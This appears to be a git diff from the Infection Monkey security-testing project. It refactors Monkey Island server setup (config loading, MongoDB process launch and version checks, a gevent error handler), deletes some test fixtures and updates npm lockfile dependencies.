{'explanation': 'You ran a test1'}, - 'tunneling': {'explanation': 'You ran a test2'}, - 'scoutsuite_service_security': {'explanation': 'You ran a test3'}} - zero_trust_consts.TESTS_MAP = tests_map - - monkey_finding = get_monkey_finding_dto() - monkey_finding.test = 'segmentation' - monkey_finding.save() - - monkey_finding = get_monkey_finding_dto() - monkey_finding.test = 'tunneling' - monkey_finding.save() - - scoutsuite_finding = get_scoutsuite_finding_dto() - scoutsuite_finding.test = 'scoutsuite_service_security' - scoutsuite_finding.save() - - expected = dict(EXPECTED_DICT) # new mutable - - result = PrincipleService.get_principles_status() - - assert result == expected diff --git a/monkey/monkey_island/cc/setup/__init__.py b/monkey/monkey_island/cc/setup/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py new file mode 100644 index 000000000..3d241b748 --- /dev/null +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -0,0 +1,34 @@ +from typing import Tuple + +from common.utils.file_utils import expand_path +from monkey_island.cc.arg_parser import IslandCmdArgs +from monkey_island.cc.environment import server_config_handler +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.file_utils import create_secure_directory +from monkey_island.cc.setup.island_config_options import IslandConfigOptions + + +def setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str]: + if island_args.server_config_path: + return _setup_config_by_cmd_arg(island_args.server_config_path) + + return _setup_default_config() + + +def _setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, str]: + server_config_path = expand_path(server_config_path) + config = server_config_handler.load_server_config_from_file(server_config_path) + create_secure_directory(str(config.data_dir)) + return config, server_config_path + + +def _setup_default_config() -> Tuple[IslandConfigOptions, str]: + default_config = server_config_handler.load_server_config_from_file(DEFAULT_SERVER_CONFIG_PATH) + default_data_dir = default_config.data_dir + + create_secure_directory(str(default_data_dir)) + + server_config_path = server_config_handler.create_default_server_config_file(default_data_dir) + config = server_config_handler.load_server_config_from_file(server_config_path) + + return config, server_config_path diff --git a/monkey/monkey_island/cc/setup/gevent_hub_error_handler.py b/monkey/monkey_island/cc/setup/gevent_hub_error_handler.py new file mode 100644 index 000000000..c4c37b88d --- /dev/null +++ b/monkey/monkey_island/cc/setup/gevent_hub_error_handler.py @@ -0,0 +1,26 @@ +import traceback + +import gevent.hub + + +class GeventHubErrorHandler: + """ + Wraps gevent.hub.Hub's handle_error() method so that the exception can be + logged but the traceback can be stored in a separate file. This preserves + the default gevent functionality and adds a useful, concise log message to + the Monkey Island logs. + + For more information, see + https://github.com/guardicore/monkey/issues/859, + https://www.gevent.org/api/gevent.hub.html#gevent.hub.Hub.handle_error + https://github.com/gevent/gevent/issues/1482 + """ + + def __init__(self, hub: gevent.hub.Hub, logger): + self._original_handle_error = hub.handle_error + self._logger = logger + + def __call__(self, context, type_, value, tb): + exception_msg = traceback.format_exception_only(type_, value) + self._logger.warning(f"gevent caught an exception: {exception_msg}") + self._original_handle_error(context, type_, value, tb) diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py new file mode 100644 index 000000000..66a49306a --- /dev/null +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -0,0 +1,33 @@ +from __future__ import annotations + +from common.utils.file_utils import expand_path +from monkey_island.cc.server_utils.consts import ( + DEFAULT_CERTIFICATE_PATHS, + DEFAULT_CRT_PATH, + DEFAULT_DATA_DIR, + DEFAULT_KEY_PATH, + DEFAULT_LOG_LEVEL, + DEFAULT_START_MONGO_DB, +) + + +class IslandConfigOptions: + def __init__(self, config_contents: dict): + self.data_dir = expand_path(config_contents.get("data_dir", DEFAULT_DATA_DIR)) + + self.log_level = config_contents.get("log_level", DEFAULT_LOG_LEVEL) + + self.start_mongodb = config_contents.get( + "mongodb", {"start_mongodb": DEFAULT_START_MONGO_DB} + ).get("start_mongodb", DEFAULT_START_MONGO_DB) + + self.crt_path = expand_path( + config_contents.get("ssl_certificate", DEFAULT_CERTIFICATE_PATHS).get( + "ssl_certificate_file", DEFAULT_CRT_PATH + ) + ) + self.key_path = expand_path( + config_contents.get("ssl_certificate", DEFAULT_CERTIFICATE_PATHS).get( + "ssl_certificate_key_file", DEFAULT_KEY_PATH + ) + ) diff --git a/monkey/monkey_island/cc/setup/island_config_options_validator.py b/monkey/monkey_island/cc/setup/island_config_options_validator.py new file mode 100644 index 000000000..032eeb2e2 --- /dev/null +++ b/monkey/monkey_island/cc/setup/island_config_options_validator.py @@ -0,0 +1,13 @@ +import os + +from monkey_island.cc.setup.island_config_options import IslandConfigOptions + + +def raise_on_invalid_options(options: IslandConfigOptions): + _raise_if_not_isfile(options.crt_path) + _raise_if_not_isfile(options.key_path) + + +def _raise_if_not_isfile(f: str): + if not os.path.isfile(f): + raise FileNotFoundError(f"{f} does not exist or is not a regular file.") diff --git a/monkey/monkey_island/cc/setup/mongo/__init__.py b/monkey/monkey_island/cc/setup/mongo/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/setup.py b/monkey/monkey_island/cc/setup/mongo/database_initializer.py similarity index 57% rename from monkey/monkey_island/cc/setup.py rename to monkey/monkey_island/cc/setup/mongo/database_initializer.py index 213a62e6b..34914c7ce 100644 --- a/monkey/monkey_island/cc/setup.py +++ b/monkey/monkey_island/cc/setup/mongo/database_initializer.py @@ -9,34 +9,43 @@ from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterfa logger = logging.getLogger(__name__) -def setup(): +def init_collections(): logger.info("Setting up the Monkey Island, this might take a while...") - try_store_mitigations_on_mongo() + _try_store_mitigations_on_mongo() -def try_store_mitigations_on_mongo(): +def _try_store_mitigations_on_mongo(): mitigation_collection_name = AttackMitigations.COLLECTION_NAME try: mongo.db.validate_collection(mitigation_collection_name) if mongo.db.attack_mitigations.count() == 0: - raise errors.OperationFailure("Mitigation collection empty. Try dropping the collection and running again") + raise errors.OperationFailure( + "Mitigation collection empty. Try dropping the collection and running again" + ) except errors.OperationFailure: try: mongo.db.create_collection(mitigation_collection_name) except errors.CollectionInvalid: pass finally: - store_mitigations_on_mongo() + _store_mitigations_on_mongo() -def store_mitigations_on_mongo(): +def _store_mitigations_on_mongo(): stix2_mitigations = MitreApiInterface.get_all_mitigations() - mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns(MitreApiInterface.get_all_attack_techniques()) - mitigation_technique_relationships = MitreApiInterface.get_technique_and_mitigation_relationships() + mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns( + MitreApiInterface.get_all_attack_techniques() + ) + mitigation_technique_relationships = ( + MitreApiInterface.get_technique_and_mitigation_relationships() + ) for relationship in mitigation_technique_relationships: - mongo_mitigations[relationship['target_ref']].add_mitigation(stix2_mitigations[relationship['source_ref']]) + mongo_mitigations[relationship["target_ref"]].add_mitigation( + stix2_mitigations[relationship["source_ref"]] + ) for relationship in mitigation_technique_relationships: - mongo_mitigations[relationship['target_ref']].\ - add_no_mitigations_info(stix2_mitigations[relationship['source_ref']]) + mongo_mitigations[relationship["target_ref"]].add_no_mitigations_info( + stix2_mitigations[relationship["source_ref"]] + ) for key, mongo_object in mongo_mitigations.items(): mongo_object.save() diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_connector.py b/monkey/monkey_island/cc/setup/mongo/mongo_connector.py new file mode 100644 index 000000000..aebbb0843 --- /dev/null +++ b/monkey/monkey_island/cc/setup/mongo/mongo_connector.py @@ -0,0 +1,9 @@ +from mongoengine import connect + +MONGO_DB_NAME = "monkeyisland" +MONGO_DB_HOST = "localhost" +MONGO_DB_PORT = 27017 + + +def connect_dal_to_mongodb(db=MONGO_DB_NAME, host=MONGO_DB_HOST, port=MONGO_DB_PORT): + connect(db=db, host=host, port=port) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py new file mode 100644 index 000000000..db3f5c0ca --- /dev/null +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -0,0 +1,59 @@ +import logging +import subprocess + +from monkey_island.cc.server_utils.consts import MONGO_EXECUTABLE_PATH + +logger = logging.getLogger(__name__) + +DB_DIR_PARAM = "--dbpath" +TERMINATE_TIMEOUT = 10 + + +class MongoDbProcess: + def __init__(self, db_dir: str, log_file: str): + """ + @param db_dir: Path where a folder for database contents will be created + @param log_file: Path to the file that will contain mongodb logs + """ + self._mongo_run_cmd = [MONGO_EXECUTABLE_PATH, DB_DIR_PARAM, db_dir] + self._log_file = log_file + self._process = None + + def start(self): + logger.info("Starting MongoDB process.") + logger.debug(f"MongoDB will be launched with command: {' '.join(self._mongo_run_cmd)}.") + logger.info(f"MongoDB log will be available at {self._log_file}.") + + with open(self._log_file, "w") as log: + self._process = subprocess.Popen( + self._mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log + ) + + logger.info("MongoDB has been launched!") + + def stop(self): + if not self._process: + logger.warning("Failed to stop MongoDB process: No process found") + return + + logger.info("Terminating MongoDB process") + self._process.terminate() + + try: + self._process.wait(timeout=TERMINATE_TIMEOUT) + logger.info("MongoDB process terminated successfully") + except subprocess.TimeoutExpired as te: + logger.warning( + f"MongoDB did not terminate gracefully and will be forcefully killed: {te}" + ) + self._process.kill() + + def is_running(self) -> bool: + if self._process.poll() is None: + return True + + return False + + @property + def log_file(self) -> str: + return self._log_file diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py new file mode 100644 index 000000000..196ad54bf --- /dev/null +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -0,0 +1,85 @@ +import atexit +import logging +import os +import time +from pathlib import Path + +from monkey_island.cc.database import get_db_version, is_db_server_up +from monkey_island.cc.server_utils.file_utils import create_secure_directory +from monkey_island.cc.setup.mongo import mongo_connector +from monkey_island.cc.setup.mongo.mongo_connector import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT +from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess + +DB_DIR_NAME = "db" +MONGO_LOG_FILENAME = "mongodb.log" +MONGO_URL = os.environ.get( + "MONKEY_MONGO_URL", + "mongodb://{0}:{1}/{2}".format(MONGO_DB_HOST, MONGO_DB_PORT, MONGO_DB_NAME), +) +MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" + +logger = logging.getLogger(__name__) + + +def start_mongodb(data_dir: Path) -> MongoDbProcess: + db_dir = _create_db_dir(data_dir) + log_file = os.path.join(data_dir, MONGO_LOG_FILENAME) + + mongo_db_process = MongoDbProcess(db_dir=db_dir, log_file=log_file) + mongo_db_process.start() + + return mongo_db_process + + +def _create_db_dir(db_dir_parent_path) -> str: + db_dir = os.path.join(db_dir_parent_path, DB_DIR_NAME) + logger.info(f"Database content directory: {db_dir}.") + + create_secure_directory(db_dir) + return db_dir + + +def register_mongo_shutdown_callback(mongo_db_process: MongoDbProcess): + atexit.register(mongo_db_process.stop) + + +def connect_to_mongodb(timeout: float): + _wait_for_mongo_db_server(MONGO_URL, timeout) + _assert_mongo_db_version(MONGO_URL) + mongo_connector.connect_dal_to_mongodb() + + +def _wait_for_mongo_db_server(mongo_url, timeout): + start_time = time.time() + + while not is_db_server_up(mongo_url): + logger.info(f"Waiting for MongoDB server on {mongo_url}") + + if (time.time() - start_time) > timeout: + raise MongoDBTimeOutError(f"Failed to connect to MongoDB after {timeout} seconds.") + + time.sleep(1) + + +def _assert_mongo_db_version(mongo_url): + """ + Checks if the mongodb version is new enough for running the app. + If the DB is too old, quits. + :param mongo_url: URL to the mongo the Island will use + """ + required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split(".")) + server_version = get_db_version(mongo_url) + if server_version < required_version: + raise MongoDBVersionError( + f"Mongo DB version too old. {required_version} is required, but got {server_version}." + ) + else: + logger.info(f"Mongo DB version OK. Got {server_version}") + + +class MongoDBTimeOutError(Exception): + pass + + +class MongoDBVersionError(Exception): + pass diff --git a/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py b/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py deleted file mode 100644 index ddbff3118..000000000 --- a/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py +++ /dev/null @@ -1,41 +0,0 @@ -# Username:test Password:test -CONFIG_WITH_CREDENTIALS = { - "server_config": "password", - "deployment": "develop", - "user": "test", - "password_hash": "9ece086e9bac491fac5c1d1046ca11d737b92a2b2ebd93f005d7b710110c0a678288166e7fbe796883a" - "4f2e9b3ca9f484f521d0ce464345cc1aec96779149c14" -} - -CONFIG_NO_CREDENTIALS = { - "server_config": "password", - "deployment": "develop" -} - -CONFIG_PARTIAL_CREDENTIALS = { - "server_config": "password", - "deployment": "develop", - "user": "test" -} - -CONFIG_BOGUS_VALUES = { - "server_config": "password", - "deployment": "develop", - "user": "test", - "aws": "test", - "test": "test", - "test2": "test2" -} - -CONFIG_STANDARD_ENV = { - "server_config": "standard", - "deployment": "develop" -} - -CONFIG_STANDARD_WITH_CREDENTIALS = { - "server_config": "standard", - "deployment": "develop", - "user": "test", - "password_hash": "9ece086e9bac491fac5c1d1046ca11d737b92a2b2ebd93f005d7b710110c0a678288166e7fbe796883a" - "4f2e9b3ca9f484f521d0ce464345cc1aec96779149c14" -} diff --git a/monkey/monkey_island/cc/test_common/fixtures/__init__.py b/monkey/monkey_island/cc/test_common/fixtures/__init__.py deleted file mode 100644 index fd208655a..000000000 --- a/monkey/monkey_island/cc/test_common/fixtures/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -# Without these imports pytests can't use fixtures, -# because they are not found -from .fixture_enum import FixtureEnum # noqa: F401 -from .mongomock_fixtures import * # noqa: F401,F403 diff --git a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py b/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py deleted file mode 100644 index 17c115079..000000000 --- a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py +++ /dev/null @@ -1,2 +0,0 @@ -class FixtureEnum: - USES_DATABASE = 'uses_database' diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index a805a7ba2..5d197d078 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -1,6 +1,6 @@ { "name": "infection-monkey", - "version": "1.9.0", + "version": "1.11.0", "lockfileVersion": 1, "requires": true, "dependencies": { @@ -8,32 +8,143 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/@arcanis/slice-ansi/-/slice-ansi-1.0.2.tgz", "integrity": "sha512-lDL63z0W/L/WTgqrwVOuNyMAsTv+pvjybd21z9SWdStmQoXT59E/iVWwat3gYjcdTNBf6oHAMoyFm8dtjpXEYw==", + "dev": true, "requires": { "grapheme-splitter": "^1.0.4" } }, "@babel/cli": { - "version": "7.8.4", - "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.8.4.tgz", - "integrity": "sha512-XXLgAm6LBbaNxaGhMAznXXaxtCWfuv6PIDJ9Alsy9JYTOh+j2jJz+L/162kkfU1j/pTSxK1xGmlwI4pdIMkoag==", + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.13.14.tgz", + "integrity": "sha512-zmEFV8WBRsW+mPQumO1/4b34QNALBVReaiHJOkxhUsdo/AvYM62c+SKSuLi2aZ42t3ocK6OI0uwUXRvrIbREZw==", "dev": true, "requires": { - "chokidar": "^2.1.8", + "@nicolo-ribaudo/chokidar-2": "2.1.8-no-fsevents", + "chokidar": "^3.4.0", "commander": "^4.0.1", "convert-source-map": "^1.1.0", "fs-readdir-recursive": "^1.1.0", "glob": "^7.0.0", - "lodash": "^4.17.13", + "lodash": "^4.17.19", "make-dir": "^2.1.0", "slash": "^2.0.0", "source-map": "^0.5.0" }, "dependencies": { + "anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "optional": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "optional": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "optional": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chokidar": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz", + "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==", + "dev": true, + "optional": true, + "requires": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "fsevents": "~2.3.1", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.5.0" + } + }, "commander": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", "dev": true + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "optional": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "optional": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "optional": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "optional": true + }, + "readdirp": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz", + "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==", + "dev": true, + "optional": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "optional": true, + "requires": { + "is-number": "^7.0.0" + } } } }, @@ -46,53 +157,157 @@ } }, "@babel/compat-data": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.9.6.tgz", - "integrity": "sha512-5QPTrNen2bm7RBc7dsOmcA5hbrS4O2Vhmk5XOL4zWW/zD/hV0iinpefDlkm+tBBy8kDtFaaeEvmAqt+nURAV2g==", - "dev": true, - "requires": { - "browserslist": "^4.11.1", - "invariant": "^2.2.4", - "semver": "^5.5.0" - } + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.13.15.tgz", + "integrity": "sha512-ltnibHKR1VnrU4ymHyQ/CXtNXI6yZC0oJThyW78Hft8XndANwi+9H+UIklBDraIjFEJzw8wmcM427oDd9KS5wA==", + "dev": true }, "@babel/core": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.9.6.tgz", - "integrity": "sha512-nD3deLvbsApbHAHttzIssYqgb883yU/d9roe4RZymBCDaZryMJDbptVpEpeQuRh4BJ+SYI8le9YGxKvFEvl1Wg==", + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.13.15.tgz", + "integrity": "sha512-6GXmNYeNjS2Uz+uls5jalOemgIhnTMeaXo+yBUA72kC2uX/8VW6XyhVIo2L8/q0goKQA3EVKx0KOQpVKSeWadQ==", "dev": true, "requires": { - "@babel/code-frame": "^7.8.3", - "@babel/generator": "^7.9.6", - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helpers": "^7.9.6", - "@babel/parser": "^7.9.6", - "@babel/template": "^7.8.6", - "@babel/traverse": "^7.9.6", - "@babel/types": "^7.9.6", + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-compilation-targets": "^7.13.13", + "@babel/helper-module-transforms": "^7.13.14", + "@babel/helpers": "^7.13.10", + "@babel/parser": "^7.13.15", + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.15", + "@babel/types": "^7.13.14", "convert-source-map": "^1.7.0", "debug": "^4.1.0", - "gensync": "^1.0.0-beta.1", + "gensync": "^1.0.0-beta.2", "json5": "^2.1.2", - "lodash": "^4.17.13", - "resolve": "^1.3.2", - "semver": "^5.4.1", + "semver": "^6.3.0", "source-map": "^0.5.0" }, "dependencies": { - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", "dev": true, "requires": { - "ms": "^2.1.1" + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" } }, "json5": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz", - "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", + "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", "dev": true, "requires": { "minimist": "^1.2.5" @@ -103,6 +318,12 @@ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true } } }, @@ -119,102 +340,365 @@ } }, 